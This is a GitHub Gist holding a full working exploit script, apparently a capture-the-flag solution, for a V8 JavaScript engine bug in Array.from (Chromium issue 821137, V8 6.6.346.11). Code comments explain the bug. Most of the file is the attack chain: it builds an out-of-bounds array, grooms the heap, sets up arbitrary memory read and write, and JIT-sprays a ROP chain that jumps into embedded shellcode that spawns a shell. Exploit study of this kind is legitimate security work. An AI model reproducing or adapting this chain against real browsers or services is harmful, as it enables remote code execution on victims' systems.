Created
November 13, 2018 09:08
-
-
Save fatalbit/146349218cf88aed1f90f76351a42b37 to your computer and use it in GitHub Desktop.
My roll a d8 exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* V8 Version: 6.6.346.11 | |
| * | |
| * CR id: 821137 | |
| * Bug Synopsis: | |
| * Array.From is a javascript function that creates a new array from an old | |
| * one. One of the function prototypes allow a map function that can be applied | |
| * to each element of the old array to create a new value for the new array. | |
| * | |
| * This can potientally allow user code to be executed in the middle of array | |
| * iteration. The problem with how Array.From is implemented lies in the | |
| * GenerateSetLength function. After all iterations are done, GenerateSetLength | |
| * only checks if the array grew larger with: | |
| * GotoIf(SmiLessThan(length_smi, old_length), &runtime); | |
| * | |
| * But doesn't check if the array grew smaller. If the array grew smaller, it | |
| * continues execution and overrides the length field with old length. (Note: | |
| * that old_length here is actually the current length and length_smi is the | |
| * length of the old array). We thus end up with an array that has a backing | |
| * store that is much smaller than what the length represents and will allow | |
| * out of bounds read and write at an offset of the backing store. | |
| * | |
| * Patch: | |
| * GotoIf(SmiLessThan(length_smi, old_length), &runtime); | |
| * The patch simply checks if the length has changed at all, and will go out | |
| * to the runtime to handle everything. | |
| * | |
| * */ | |
| /* Giving the array any double element will force it to be in a double typed | |
| * array. Doubley typed arrays can represent all pointers as well as objects | |
| * in doubles so the engine won't complain if a pointer is leaked out when it | |
| * thinks it is a double. */ | |
| let arr1 = [0.1]; | |
| function make_oob_array(arr) { | |
| Array.from.call(function() { return arr }, {[Symbol.iterator] : _ => ( | |
| { | |
| counter : 0, | |
| /* This is the loop terminator and also the length that gets written to | |
| * the length field after the array has been shrunken. This also | |
| * influences how many bytes out of bounds we can read after. */ | |
| max : 65536, | |
| next() { | |
| let result = this.counter++; | |
| if (this.counter == this.max) { | |
| /* This length can't be zero otherwise it points to a special "FixedEmptyArray" | |
| * object in a seperate location on the heap. Array backing stores | |
| * The size of the backing store also determines where it gets placed on the heap. | |
| * | |
| * This is a hack I figured out to get it to be more reliable. Setting the length | |
| * to 0 will force the engine to deallocate the whole backing store | |
| * and then reallocate a new one of size 10. | |
| * */ | |
| arr.length = 0; | |
| arr.length = 10; | |
| return {done: true}; | |
| } else { | |
| return {value: result, done: false}; | |
| } | |
| } | |
| } | |
| ) }); | |
| } | |
| /* Storage array to keep objects alive on the heap. As long as there is a | |
| * tracable handle from the root to the object, it will not be garbage collected. */ | |
| var storage = []; | |
| /* V8 uses a new space and old space garbage collection as well as a tenured | |
| * space afterwards. If enough objects are allocated, it will force garbage | |
| * collection to happen. */ | |
| function gc() { | |
| for (let i = 0; i < 0x10; i++) | |
| new ArrayBuffer(0x1000000); | |
| } | |
| make_oob_array(arr1); | |
| /* Make sure our shellcode is contigious in memory by copying over to a | |
| * uint8 array */ | |
| var shellcode = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0xf, 0x5]; | |
| var shellcode_bytes = new Uint8Array(shellcode.length); | |
| for (var i = 0; i < shellcode.length; ++i) { | |
| shellcode_bytes[i] = shellcode[i]; | |
| } | |
| /* Jitspray function comes in later, when we jump to our jitted function | |
| * it includes a rop chain that transitions to our shellcode */ | |
| function jitspray(shellcode) { | |
| val = shellcode[0]; | |
| val += 2.8628345837198785e-312; | |
| val += -6.7936696184209404e-229; | |
| val += -6.7936699762396021e-229; | |
| val += 3.0226914823032513e+274; | |
| val += -2.6710638803933159e-229; | |
| val += -2.6710638803930354e-229; | |
| val += 2.9212589871283409e+274; | |
| val += -6.8283971717601484e-229; | |
| val += -6.9693174593711226e-229; | |
| return val; | |
| } | |
| /* Force the function to be optimized and jitted */ | |
| for (var i=0; i < 0x10000; ++i) { | |
| jitspray(shellcode_bytes) | |
| } | |
| /* Groom the heap with some nice objects and store them with uniquely searchable properties | |
| * */ | |
| for (var i = 0; i < 0x500; ++i) { | |
| if (i % 2) | |
| storage[i] = new ArrayBuffer(0xbabe); | |
| else | |
| storage[i] = [0x41414141, 0x42424242, jitspray]; | |
| } | |
| /* Before the backing store is shrunk, make sure the backing store exists in the | |
| * same heap space as where our objects are stored. Forcing a garbage collection | |
| * here will move everything to the old space */ | |
| gc(); | |
| //%DebugPrint(arr1); | |
| //%DebugPrint(storage[0]); | |
| //%DebugPrint(storage[1]); | |
| /* Create some primitives to help write to memory */ | |
| var convert_buffer = new ArrayBuffer(8); | |
| var float64_tarr = new Float64Array(convert_buffer); | |
| var uint32_tarr = new Uint32Array(convert_buffer); | |
| var uint8_tarr = new Uint8Array(convert_buffer); | |
| function pack(hi, lo) { | |
| uint32_tarr[1] = hi; | |
| uint32_tarr[0] = lo; | |
| return float64_tarr[0]; | |
| } | |
| function unpack(f) { | |
| float64_tarr[0] = f; | |
| return [uint32_tarr[1], uint32_tarr[0]]; | |
| } | |
| function prettyprint(arr) { | |
| return '0x'+(Array.from(arr, x => ('0'+x.toString(16)) | |
| .substr(-2)).reverse().join('').replace(/^0+/, '')); | |
| } | |
| /* end primitives */ | |
| function make_evil_buffer(arr) { | |
| /* Search for an ArrayBuffer */ | |
| var i = 0; | |
| for (; i < arr.length; ++i) { | |
| var v = unpack(arr[i]); | |
| if (v[0] == 0xbabe) { | |
| break; | |
| } | |
| } | |
| /* i will now point to the length of an ArrayBuffer, i+1 should point to it's | |
| * backing store pointer. Mark the ArrayBuffer by changing the length */ | |
| var new_len = pack(0x8, 0x0); | |
| arr[i] = new_len; | |
| return i+1; | |
| } | |
| /* Search for our fields but sanity check everything, the last check makes sure | |
| * that a function object exists */ | |
| function search_for_array(arr) { | |
| var i = 0; | |
| for (; i < arr.length; ++i) { | |
| var tmp = unpack(arr[i]); | |
| if (tmp[0] == 0x41414141) { | |
| /* Mark this array */ | |
| arr[i] = pack(0x43434343, 0); | |
| tmp = unpack(arr[i+1]); | |
| if (tmp[0] == 0x42424242) { | |
| tmp = unpack(arr[i+2]); | |
| if (tmp[1] != 0) | |
| break; | |
| } | |
| } | |
| } | |
| /* Return the jitted function, that's the only index we care about */ | |
| return i+2; | |
| } | |
| var stored_buffer = make_evil_buffer(arr1); | |
| var stored_array = search_for_array(arr1); | |
| //unpack(arr1[stored_array]); | |
| //console.log(prettyprint(uint8_tarr)); | |
| /* Find the actual corrupted buffer and array in storage */ | |
| var evil_buffer = null; | |
| var evil_array = null; | |
| for (var i = 0; i < storage.length; ++i) { | |
| if (evil_buffer == null && storage[i] instanceof ArrayBuffer) { | |
| if (storage[i].byteLength != 0xbabe) { | |
| evil_buffer = storage[i]; | |
| } | |
| } else if (evil_array == null && storage[i] instanceof Array) { | |
| if (storage[i].includes(0x43434343)) | |
| evil_array = storage[i]; | |
| } | |
| if (evil_buffer != null && evil_array != null) | |
| break; | |
| } | |
| /* Reliability check, although I have not seen this fail at all while writing | |
| * this */ | |
| if (evil_buffer == null || evil_array == null) { | |
| console.log("[-] Not reliable enough"); | |
| exit(); | |
| } | |
| /* More primitives now that we have a corrupted array buffer, this just uses our | |
| * corrupted TypedArray and overwrites it's backing store to achieve arbitrary | |
| * read and write */ | |
| function write8bytes(what_hi, what_lo, where_hi, where_lo) { | |
| arr1[stored_buffer] = pack(where_hi, where_lo); | |
| var tmp_array = new Float64Array(evil_buffer); | |
| tmp_array[0] = pack(what_hi, what_lo); | |
| } | |
| function read8bytes(where_hi, where_lo) { | |
| arr1[stored_buffer] = pack(where_hi, where_lo); | |
| var tmp_array = new Float64Array(evil_buffer); | |
| return unpack(tmp_array[0]); | |
| } | |
| /* Now we need to leak a jitted javascript function. The previously jitted | |
| * function is at the index returned by search_for_array */ | |
| //%DebugPrint(jitspray); | |
| var func_addr = arr1[stored_array]; | |
| var func_addr_hi = unpack(func_addr)[0]; | |
| var func_addr_lo = unpack(func_addr)[1]-1; /* -1 is to remove pointer tagging in v8 */ | |
| console.log("Jitted function is at "+prettyprint(uint8_tarr)); | |
| /* offset for v8 6.6.346.11 */ | |
| var jitpage_offset = 6*8; | |
| /* At an offset of a jitted JSFunction is the address of it's jit page */ | |
| var jitpage_addr = read8bytes(func_addr_hi, func_addr_lo + jitpage_offset); | |
| var jitpage_addr_hi = jitpage_addr[0]; | |
| var jitpage_addr_lo = jitpage_addr[1]-1; | |
| console.log("Optimized code is at "+prettyprint(uint8_tarr)); | |
| /* Go and find the start of the ropchain */ | |
| function find_ropchain_start(hi, lo, bytes) { | |
| var offset = 0; | |
| while (true) { | |
| read8bytes(hi, lo+offset); | |
| var found = true; | |
| for (var i = 0; i < bytes.length; ++i) { | |
| if (bytes[i] != uint8_tarr[i]) { | |
| found = false; | |
| break; | |
| } | |
| } | |
| if (found) { | |
| break; | |
| } | |
| offset++; | |
| } | |
| return offset-0x60; | |
| } | |
| var jitstart = [0x5f, 0x5f, 0x90, 0xe9, 0x86, 0x00, 0x00, 0x00] | |
| var ropchain_offset = find_ropchain_start(jitpage_addr_hi, jitpage_addr_lo, jitstart); | |
| /* Now we need to jump into an offset of our jitspray to start the ropchain */ | |
| write8bytes(jitpage_addr_hi, jitpage_addr_lo+1+ropchain_offset, func_addr_hi, func_addr_lo + jitpage_offset); | |
| /* Now trigger the function to jump into our new jitspray address. | |
| * At this point we can just write our shellcode directly into the jitpage since | |
| * it's rwx on 6.6.346.11. On newer versions of v8 the jit pages have been | |
| * changed to r-x after it's been optimized. I went all out and jitsprayed some | |
| * gadgets to mprotect the shellcode buffer and then jump into the shellcode */ | |
| /* Note: Jitspray is kind of janky, uncommenting both these lines will misalign | |
| * it, and the offsets need to be realigned */ | |
| pack(jitpage_addr_hi, jitpage_addr_lo+0x60+ropchain_offset); | |
| console.log("Jumping to: "+prettyprint(uint8_tarr)); | |
| jitspray(shellcode_bytes); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment